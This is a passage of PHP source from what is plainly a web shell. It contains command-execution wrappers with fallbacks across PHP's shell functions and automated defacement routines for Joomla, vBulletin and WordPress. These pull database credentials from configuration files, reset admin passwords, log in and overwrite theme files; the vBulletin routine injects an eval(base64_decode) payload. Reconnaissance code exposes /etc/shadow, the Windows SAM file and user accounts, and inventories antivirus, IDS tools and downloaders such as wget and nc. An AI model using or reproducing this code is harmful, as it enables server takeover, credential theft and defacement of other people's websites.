  1151. }
  1152. elseif($safe=="system")
  1153. {
  1154. $ret=@system($cmd);
  1155. return $ret;
  1156. }
  1157. elseif($safe=="passthru")
  1158. {
  1159. $ret=@passthru($cmd);
  1160. return $ret;
  1161. }
  1162. elseif($safe=="shell_exec")
  1163. {
  1164. $ret=@shell_exec($cmd);
  1165. return $ret;
  1166. }
  1167. elseif($safe=="popen")
  1168. {
  1169. $ret=@popen("$cmd",'r');
  1170. if(is_resource($ret))
  1171. {
  1172. while(@!feof($ret))
  1173. $read.=@fgets($ret);
  1174. @pclose($ret);
  1175. return $read;
  1176. }
  1177. return -1;
  1178. }
  1179. elseif($safe="proc_open")
  1180. {
  1181. $cmdpipe=array(
  1182. 0=>array('pipe','r'),
  1183. 1=>array('pipe','w')
  1184. );
  1185. $resource=@proc_open($cmd,$cmdpipe,$pipes);
  1186. if(@is_resource($resource))
  1187. {
  1188. while(@!feof($pipes[1]))
  1189. $ret.=@fgets($pipes[1]);
  1190. @fclose($pipes[1]);
  1191. @proc_close($resource);
  1192. return $ret;
  1193. }
  1194. return -1;
  1195. }
  1196. elseif($safe=="perl_func")
  1197. {
  1198. $ret=perlshell($command);
  1199. return $ret;
  1200. }
  1201. }
  1202. }
  1203. return -1;
  1204. }
  1205. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  1206. {
  1207. $ar0=explode($marqueurDebutLien, $text);
  1208. $ar1=explode($marqueurFinLien, $ar0[$i]);
  1209. return trim($ar1[0]);
  1210. }
  1211. function changeindexjo($conf,$h,$site)
  1212. {
  1213. global $defcount;
  1214. $dol = '$';
  1215. $sitename = entre2v2($conf,$dol."sitename = '","';");
  1216. $username = entre2v2($conf,$dol."user = '","';");
  1217. $password = entre2v2($conf,$dol."password = '","';");
  1218. $dbname = entre2v2($conf,$dol."db = '","';");
  1219. $prefix = entre2v2($conf,$dol."dbprefix = '","';");
  1220. $localhost = entre2v2($conf,$dol."host = '","';");
  1221.  
  1222. $co=randomt();
  1223.  
  1224. $link=mysql_connect($localhost,$username,$password) ;
  1225. mysql_select_db($dbname,$link);
  1226.  
  1227. $tryChaningInfo = mysql_query("UPDATE ".$prefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  1228.  
  1229. $req =mysql_query("SELECT * from `".$prefix."extensions` ");
  1230.  
  1231. if ( $req )
  1232. {
  1233. $req =mysql_query("SELECT * from `".$prefix."template_styles` WHERE client_id='0' and home='1'");
  1234. $data = mysql_fetch_array($req);
  1235. $template_name=$data["template"];
  1236.  
  1237. $req =mysql_query("SELECT * from `".$prefix."extensions` WHERE name='".$template_name."'");
  1238. $data = mysql_fetch_array($req);
  1239. $template_id=$data["extension_id"];
  1240.  
  1241. $url2 = $site_url =$site."/administrator/index.php";
  1242.  
  1243. $ch = curl_init();
  1244. curl_setopt($ch, CURLOPT_URL, $url2);
  1245. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1246. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1247. curl_setopt($ch, CURLOPT_HEADER, 1);
  1248. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1249. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1250. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1251.  
  1252. $buffer = curl_exec($ch);
  1253.  
  1254. $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  1255. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  1256.  
  1257. $url2=$site_url."/index.php";
  1258. $ch = curl_init();
  1259. curl_setopt($ch, CURLOPT_URL, $url2);
  1260. curl_setopt($ch, CURLOPT_POST, 1);
  1261. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  1262. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1263. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1264. curl_setopt($ch, CURLOPT_HEADER, 0);
  1265. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1266. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1267. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1268. $buffer = curl_exec($ch);
  1269. echo "<tr align =center>";
  1270. echo '<td>admin : 123456789</td>';
  1271. $pos = strpos($buffer,"com_config");
  1272. if($pos === false)
  1273. echo("<td>[-] Login Error</td>");
  1274. else
  1275. echo("<td><font class=txt>[+] Login Success</font></td>");
  1276.  
  1277. $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  1278. $ch = curl_init();
  1279. curl_setopt($ch, CURLOPT_URL, $url2);
  1280. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1281. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1282. curl_setopt($ch, CURLOPT_HEADER, 0);
  1283. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1284. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1285. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1286. $buffer = curl_exec($ch);
  1287.  
  1288. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  1289.  
  1290. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  1291.  
  1292. $ch = curl_init();
  1293. curl_setopt($ch, CURLOPT_URL, $url2);
  1294. curl_setopt($ch, CURLOPT_POST, 1);
  1295. curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  1296.  
  1297. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1298. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1299. curl_setopt($ch, CURLOPT_HEADER, 0);
  1300. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1301. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1302. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1303. $buffer = curl_exec($ch);
  1304.  
  1305. $pos = strpos($buffer,'<dd class="message message">');
  1306. if($pos === false)
  1307. {
  1308. echo("<td><a href=http://".$site . ">".$site."</a></td><td>Cannot Defaced</td>");
  1309. }
  1310. else
  1311. {
  1312. $defcount++;
  1313. echo("<td><a href=http://".$site . ">".$site."</a></td><td><font class=txt>Joomla Defaced</font></td>");
  1314. }
  1315. }
  1316. else
  1317. {
  1318. $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
  1319. $data = mysql_fetch_array($req);
  1320. $template_name=$data["template"];
  1321.  
  1322. $url2=$site_url."/index.php";
  1323. $ch = curl_init();
  1324. curl_setopt($ch, CURLOPT_URL, $url2);
  1325. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1326. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1327. curl_setopt($ch, CURLOPT_HEADER, 1);
  1328. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1329. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1330. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1331. $buffer = curl_exec($ch);
  1332.  
  1333. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  1334.  
  1335. $url2=$site_url."/index.php";
  1336. $ch = curl_init();
  1337. curl_setopt($ch, CURLOPT_URL, $url2);
  1338. curl_setopt($ch, CURLOPT_POST, 1);
  1339. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  1340. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1341. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1342. curl_setopt($ch, CURLOPT_HEADER, 0);
  1343. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1344. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1345. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1346. $buffer = curl_exec($ch);
  1347.  
  1348. $pos = strpos($buffer,"com_config");
  1349. echo "<tr align =center>";
  1350. echo '<td>admin : 123456789</td>';
  1351. if($pos === false)
  1352. echo("<td>[-] Login Error</td>");
  1353. else
  1354. echo("<td><font class=txt>[+] Login Success</font></td>");
  1355.  
  1356. $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  1357. $ch = curl_init();
  1358. curl_setopt($ch, CURLOPT_URL, $url2);
  1359. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1360. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1361. curl_setopt($ch, CURLOPT_HEADER, 0);
  1362. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1363. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1364. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1365. $buffer = curl_exec($ch);
  1366.  
  1367. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  1368.  
  1369. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  1370. $ch = curl_init();
  1371. curl_setopt($ch, CURLOPT_URL, $url2);
  1372. curl_setopt($ch, CURLOPT_POST, 1);
  1373. curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  1374. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1375. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1376. curl_setopt($ch, CURLOPT_HEADER, 0);
  1377. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1378. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  1379. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  1380. $buffer = curl_exec($ch);
  1381.  
  1382. $pos = strpos($buffer,'<dd class="message message fade">');
  1383. if($pos === false)
  1384. {
  1385. echo("<td><a href=http://".$site . ">".$site."</a></td><td>Cannot Deface</td>");
  1386. }
  1387. else
  1388. {
  1389. $defcount++;
  1390. echo("<td><a href=http://".$site . ">".$site."</a></td><td><font class=txt>Joomla Defaced</font></td>");
  1391. }
  1392. }
  1393. echo "</tr>";
  1394. }
  1395. function changeindexvb($conf,$index)
  1396. {
  1397. $dol = '$';
  1398.  
  1399. $username = entre2v2($conf,"['MasterServer']['username'] = '","';");
  1400. $password = entre2v2($conf,"['MasterServer']['password'] = '","';");
  1401. $dbname = entre2v2($conf,"se']['dbname'] = '","';");
  1402. $prefix = entre2v2($conf,"['Database']['tableprefix'] = '","';");
  1403. $localhost = entre2v2($conf,"['MasterServer']['servername'] = '","';");
  1404.  
  1405. $con =@ mysql_connect($localhost,$username,$password);
  1406. $db =@ mysql_select_db($dbname,$con);
  1407. $ss = mysql_query("SELECT * from `".$prefix."setting` WHERE varname='bburl'");
  1408. $data = mysql_fetch_array($ss);
  1409.  
  1410. echo "<tr align=center>";
  1411. $index=str_replace('"','\\"',$index);
  1412. $attack = "{\${eval(base64_decode(\'";
  1413. $attack .= base64_encode("echo \"$index\";");
  1414. $attack .= "\'))}}{\${exit()}}</textarea>";
  1415. $query = "UPDATE ".$prefix."template SET template = '$attack'";
  1416. $result =@ mysql_query($query,$con);
  1417. if($result)
  1418. echo "<td><a href=".$data["value"].">".$data["value"]."</a></td><td><font class=txt><blink>Vbulletin Forum Defaced Successfully</blink></font></td>";
  1419. else
  1420. echo "<td><a href=".$data["value"].">".$data["value"]."</a></td><td><blink>Cannot Deface Vbulletin Forum</blink></td>";
  1421. echo "<tr>";
  1422. }
  1423. function changeindexwp($conf,$index)
  1424. {
  1425. $index = urlencode($index);
  1426. $dol = '$';
  1427. $username = entre2v2($conf,"define('DB_USER', '","');");
  1428. $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
  1429. $dbname = entre2v2($conf,"define('DB_NAME', '","');");
  1430. $prefix = entre2v2($conf,$dol."table_prefix = '","'");
  1431. $host = entre2v2($conf,"define('DB_HOST', '","');");
  1432. $con =@ mysql_connect($host,$username,$password);
  1433. $db =@ mysql_select_db($dbname,$con);
  1434. $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.'");
  1435.  
  1436. if($req1)
  1437. {
  1438. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  1439. $data = mysql_fetch_array($req);
  1440. $site_url=$data["option_value"];
  1441.  
  1442. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
  1443. $data = mysql_fetch_array($req);
  1444. $template = $data["option_value"];
  1445.  
  1446. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
  1447. $data = mysql_fetch_array($req);
  1448. $current_theme = $data["option_value"];
  1449.  
  1450. $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
  1451. $url2=$site_url."/wp-login.php";
  1452.  
  1453. $ch = curl_init();
  1454. curl_setopt($ch, CURLOPT_URL, $url2);
  1455. curl_setopt($ch, CURLOPT_POST, 1);
  1456. curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
  1457. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1458. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  1459. curl_setopt($ch, CURLOPT_HEADER, 0);
  1460. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  1461. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1462. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  1463. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  1464. $buffer = curl_exec($ch);
  1465.  
  1466. $pos = strpos($buffer,"action=logout");
  1467.  
  1468. $url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.urlencode($template);
  1469. curl_setopt($ch, CURLOPT_URL, $url2);
  1470. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  1471. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  1472. curl_setopt($ch, CURLOPT_HEADER, 0);
  1473. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1474. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  1475. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  1476. $buffer0 = curl_exec($ch);
  1477.  
  1478. $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
  1479. $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
  1480.  
  1481. if(substr_count($_file,"index.php") != 0)
  1482. $output .= "<tr align =center>";
  1483. $url2=$site_url."/wp-admin/theme-editor.php";
  1484. curl_setopt($ch, CURLOPT_URL, $url2);
  1485. curl_setopt($ch, CURLOPT_POST, 1);
  1486. curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
  1487. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1488. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1489. curl_setopt($ch, CURLOPT_HEADER, 0);
  1490. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  1491. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  1492. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  1493. $buffer = curl_exec($ch);
  1494. curl_close($ch);
  1495. $pos = strpos($buffer,'<div id="message" class="updated">');
  1496. $cond = 0;
  1497. if($pos === false)
  1498. $output .= "<td><a href=".$site_url.">Site : ".$site_url."</a></td><td>Cannot Deface</td>";
  1499. else
  1500. $output .= "<td><a href=".$site_url.">Site : ".$site_url."</a></td><td><font class=txt>Wordpress Defaced Successfully</font></td>";
  1501. }
  1502. else
  1503. $output.= "<td colspan=2> DB Error</td>";
  1504. echo $output."</tr>";
  1505. global $base_path;
  1506. unlink($base_path.'COOKIE.txt');
  1507. }
  1508. function getDisabledFunctions()
  1509. {
  1510. if(!ini_get('disable_functions'))
  1511. {
  1512. return "None";
  1513. }
  1514. else
  1515. {
  1516. return @ini_get('disable_functions');
  1517. }
  1518. }
  1519. function getFilePermissions($file)
  1520. {
  1521. $perms = fileperms($file);
  1522.  
  1523. if (($perms & 0xC000) == 0xC000) {
  1524. // Socket
  1525. $info = 's';
  1526. } elseif (($perms & 0xA000) == 0xA000) {
  1527. // Symbolic Link
  1528. $info = 'l';
  1529. } elseif (($perms & 0x8000) == 0x8000) {
  1530. // Regular
  1531. $info = '-';
  1532. } elseif (($perms & 0x6000) == 0x6000) {
  1533. // Block special
  1534. $info = 'b';
  1535. } elseif (($perms & 0x4000) == 0x4000) {
  1536. // Directory
  1537. $info = 'd';
  1538. } elseif (($perms & 0x2000) == 0x2000) {
  1539. // Character special
  1540. $info = 'c';
  1541. } elseif (($perms & 0x1000) == 0x1000) {
  1542. // FIFO pipe
  1543. $info = 'p';
  1544. } else {
  1545. // Unknown
  1546. $info = 'u';
  1547. }
  1548.  
  1549. // Owner
  1550. $info .= (($perms & 0x0100) ? 'r' : '-');
  1551. $info .= (($perms & 0x0080) ? 'w' : '-');
  1552. $info .= (($perms & 0x0040) ?
  1553. (($perms & 0x0800) ? 's' : 'x' ) :
  1554. (($perms & 0x0800) ? 'S' : '-'));
  1555.  
  1556. // Group
  1557. $info .= (($perms & 0x0020) ? 'r' : '-');
  1558. $info .= (($perms & 0x0010) ? 'w' : '-');
  1559. $info .= (($perms & 0x0008) ?
  1560. (($perms & 0x0400) ? 's' : 'x' ) :
  1561. (($perms & 0x0400) ? 'S' : '-'));
  1562.  
  1563. // World
  1564. $info .= (($perms & 0x0004) ? 'r' : '-');
  1565. $info .= (($perms & 0x0002) ? 'w' : '-');
  1566. $info .= (($perms & 0x0001) ?
  1567. (($perms & 0x0200) ? 't' : 'x' ) :
  1568. (($perms & 0x0200) ? 'T' : '-'));
  1569.  
  1570. return $info;
  1571. }
  1572. function filepermscolor($filename)
  1573. {
  1574. if(!@is_readable($filename))
  1575. return "<font class=readperm>".getFilePermissions($filename)."</font>";
  1576. else if(!@is_writable($filename))
  1577. return "<font class=noperm>".getFilePermissions($filename)."</font>";
  1578. else
  1579. return "<font class=wrtperm>".getFilePermissions($filename)."</font>";
  1580. }
  1581.  
  1582. function yourip()
  1583. {
  1584. echo $_SERVER["REMOTE_ADDR"];
  1585. }
  1586. function phpver()
  1587. {
  1588. $pv=@phpversion();
  1589. echo $pv;
  1590. }
  1591. function magic_quote()
  1592. {
  1593. echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"OFF";
  1594. }
  1595. function serverip()
  1596. {
  1597. echo @gethostbyname($_SERVER["HTTP_HOST"]);
  1598. }
  1599. function serverport()
  1600. {
  1601. echo $_SERVER['SERVER_PORT'];
  1602. }
  1603. function safe()
  1604. {
  1605. global $sm;
  1606. return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
  1607. }
  1608. function serveradmin()
  1609. {
  1610. echo $_SERVER['SERVER_ADMIN'];
  1611. }
  1612. function systeminfo()
  1613. {
  1614. echo php_uname();
  1615. }
  1616. function curlinfo()
  1617. {
  1618. echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("Disabled");
  1619. }
  1620. function oracleinfo()
  1621. {
  1622. echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("Disabled");
  1623. }
  1624. function mysqlinfo()
  1625. {
  1626. echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1627. }
  1628. function mssqlinfo()
  1629. {
  1630. echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1631. }
  1632. function postgresqlinfo()
  1633. {
  1634. echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1635. }
  1636. function softwareinfo()
  1637. {
  1638. echo getenv("SERVER_SOFTWARE");
  1639. }
  1640. function download()
  1641. {
  1642. $frd=$_GET['download'];
  1643. $prd=explode("/",$frd);
  1644. for($i=0;$i<sizeof($prd);$i++)
  1645. {
  1646. $nfd=$prd[$i];
  1647. }
  1648. @ob_clean();
  1649. header("Content-type: application/octet-stream");
  1650. header("Content-length: ".filesize($nfd));
  1651. header("Content-disposition: attachment; filename=\"".$nfd."\";");
  1652. readfile($nfd);
  1653.  
  1654. exit;
  1655.  
  1656. }
  1657.  
  1658. function HumanReadableFilesize($size)
  1659. {
  1660. $mod = 1024;
  1661. $units = explode(' ','B KB MB GB TB PB');
  1662. for ($i = 0; $size > $mod; $i++)
  1663. {
  1664. $size /= $mod;
  1665. }
  1666. return round($size, 2) . ' ' . $units[$i];
  1667. }
  1668.  
  1669. function showDrives()
  1670. {
  1671. global $self;
  1672. foreach(range('A','Z') as $drive)
  1673. {
  1674. if(is_dir($drive.':\\'))
  1675. {
  1676. $myd = $drive.":\\";
  1677. ?>
  1678. <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
  1679. <?php echo $myd; ?>
  1680. </a>
  1681. <?php
  1682. }
  1683. }
  1684. }
  1685. function diskSpace()
  1686. {
  1687. global $dir;
  1688. return disk_total_space($dir);
  1689. }
  1690. function freeSpace()
  1691. {
  1692. global $dir;
  1693. return disk_free_space($dir);
  1694. }
  1695.  
  1696. function thiscmd($p)
  1697. {
  1698. $path = myexe('which ' . $p);
  1699. if(!empty($path))
  1700. return $path;
  1701. return false;
  1702. }
  1703.  
  1704. function mysecinfo()
  1705. {
  1706. function myparam($n, $v)
  1707. {
  1708. $v = trim($v);
  1709. if($v)
  1710. {
  1711. echo '<span><font size=3>' . $n . ': </font></span>';
  1712. if(strpos($v, "\n") === false)
  1713. echo '<font class=txt size=3>' . $v . '</font><br>';
  1714. else
  1715. echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
  1716. }
  1717. }
  1718.  
  1719. myparam('Server software', @getenv('SERVER_SOFTWARE'));
  1720. if(function_exists('apache_get_modules'))
  1721. myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
  1722. myparam('Open base dir', @ini_get('open_basedir'));
  1723. myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  1724. myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  1725. $temp=array();
  1726. if(function_exists('mysql_get_client_info'))
  1727. $temp[] = "MySql (".mysql_get_client_info().")";
  1728. if(function_exists('mssql_connect'))
  1729. $temp[] = "MSSQL";
  1730. if(function_exists('pg_connect'))
  1731. $temp[] = "PostgreSQL";
  1732. if(function_exists('oci_connect'))
  1733. $temp[] = "Oracle";
  1734. myparam('Supported databases', implode(', ', $temp));
  1735. echo '<br>';
  1736.  
  1737. if($GLOBALS['os'] == 'Linux') {
  1738. myparam('Distro : ', myexe("cat /etc/*-release"));
  1739. myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
  1740. myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
  1741. myparam('OS version', @file_get_contents('/proc/version'));
  1742. myparam('Distro name', @file_get_contents('/etc/issue.net'));
  1743. myparam('Where is Perl?', myexe('whereis perl'));
  1744. myparam('Where is Python?', myexe('whereis python'));
  1745. myparam('Where is gcc?', myexe('whereis gcc'));
  1746. myparam('Where is apache?', myexe('whereis apache'));
  1747. myparam('CPU?', myexe('cat /proc/cpuinfo'));
  1748. myparam('RAM', myexe('free -m'));
  1749. myparam('Mount options', myexe('cat /etc/fstab'));
  1750. myparam('User Limits', myexe('ulimit -a'));
  1751.  
  1752.  
  1753. if(!$GLOBALS['safe_mode']) {
  1754. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1755. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  1756. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1757. echo '<br>';
  1758. $temp=array();
  1759. foreach ($userful as $item)
  1760. if(thiscmd($item))
  1761. $temp[] = $item;
  1762. myparam('Userful', implode(', ',$temp));
  1763. $temp=array();
  1764. foreach ($danger as $item)
  1765. if(thiscmd($item))
  1766. $temp[] = $item;
  1767. myparam('Danger', implode(', ',$temp));
  1768. $temp=array();
  1769. foreach ($downloaders as $item)
  1770. if(thiscmd($item))
  1771. $temp[] = $item;
  1772. myparam('Downloaders', implode(', ',$temp));
  1773. echo '<br/>';
  1774. myparam('HDD space', myexe('df -h'));
  1775. myparam('Hosts', @file_get_contents('/etc/hosts'));
  1776.  
  1777. }
  1778. } else {
  1779. $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
  1780. $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
  1781. $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
  1782. $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
  1783. echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
  1784. echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> &nbsp;<a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> &nbsp;<a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
  1785. $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  1786. echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
  1787. myparam('OS Version',myexe('ver'));
  1788. myparam('Account Settings',myexe('net accounts'));
  1789. myparam('User Accounts',myexe('net user'));
  1790. }
  1791. echo '</div>';
  1792. }
  1793.  
  1794.  
  1795.  
  1796. function myexe($in)
  1797. {
  1798. $out = '';
  1799. if (function_exists('exec')) {
  1800. @exec($in,$out);
  1801. $out = @join("\n",$out);
  1802. } elseif (function_exists('passthru')) {
  1803. ob_start();
  1804. @passthru($in);
  1805. $out = ob_get_clean();
  1806. } elseif (function_exists('system')) {
  1807. ob_start();
  1808. @system($in);
  1809. $out = ob_get_clean();
  1810. } elseif (function_exists('shell_exec')) {
  1811. $out = shell_exec($in);
  1812. } elseif (is_resource($f = @popen($in,"r"))) {
  1813. $out = "";
  1814. while(!@feof($f))
  1815. $out .= fread($f,1024);
  1816. pclose($f);
  1817. }
  1818. return $out;
  1819. }
  1820. function exec_all($command)
  1821. {
  1822.  
  1823. $output = '';
  1824. if(function_exists('exec'))
  1825. {
  1826. exec($command,$output);
  1827. $output = join("\n",$output);
  1828. }
  1829.  
  1830. else if(function_exists('shell_exec'))
  1831. {
  1832. $output = shell_exec($command);
  1833. }
  1834.  
  1835. else if(function_exists('popen'))
  1836. {
  1837. $handle = popen($command , "r"); // Open the command pipe for reading
  1838. if(is_resource($handle))
  1839. {
  1840. if(function_exists('fread') && function_exists('feof'))
  1841. {
  1842. while(!feof($handle))
  1843. {
  1844. $output .= fread($handle, 512);
  1845. }
  1846. }
  1847. else if(function_exists('fgets') && function_exists('feof'))
  1848. {
  1849. while(!feof($handle))
  1850. {
  1851. $output .= fgets($handle,512);
  1852. }
  1853.  
  1854.  
  1855.  
  1856. }
  1857. }
  1858. pclose($handle);
  1859. }
  1860.  
  1861.  
  1862. else if(function_exists('system'))
  1863. {
  1864. ob_start(); //start output buffering
  1865. system($command);
  1866. $output = ob_get_contents(); // Get the ouput
  1867. ob_end_clean(); // Stop output buffering
  1868. }
  1869.  
  1870. else if(function_exists('passthru'))
  1871. {
  1872. ob_start(); //start output buffering
  1873. passthru($command);
  1874. $output = ob_get_contents(); // Get the ouput
  1875. ob_end_clean(); // Stop output buffering
  1876. }
  1877.  
  1878. else if(function_exists('proc_open'))
  1879. {
  1880. $descriptorspec = array(
  1881. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  1882. );
  1883. $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  1884. if(is_resource($handle))
  1885. {
  1886. if(function_exists('fread') && function_exists('feof'))
  1887. {
  1888. while(!feof($pipes[1]))
  1889. {
  1890. $output .= fread($pipes[1], 512);
  1891. }
  1892. }
  1893. else if(function_exists('fgets') && function_exists('feof'))
  1894. {
  1895. while(!feof($pipes[1]))
  1896. {
  1897. $output .= fgets($pipes[1],512);
  1898. }
  1899. }
  1900. }
  1901. pclose($handle);
  1902. }
  1903.  
  1904. return(htmlspecialchars($output));
  1905.  
  1906. }
  1907.  
  1908. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"OFF";
  1909. $etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
  1910.  
  1911. function getOGid($value)
  1912. {
  1913. if(!function_exists('posix_getegid')) {
  1914. $user = @get_current_user();
  1915. $uid = @getmyuid();
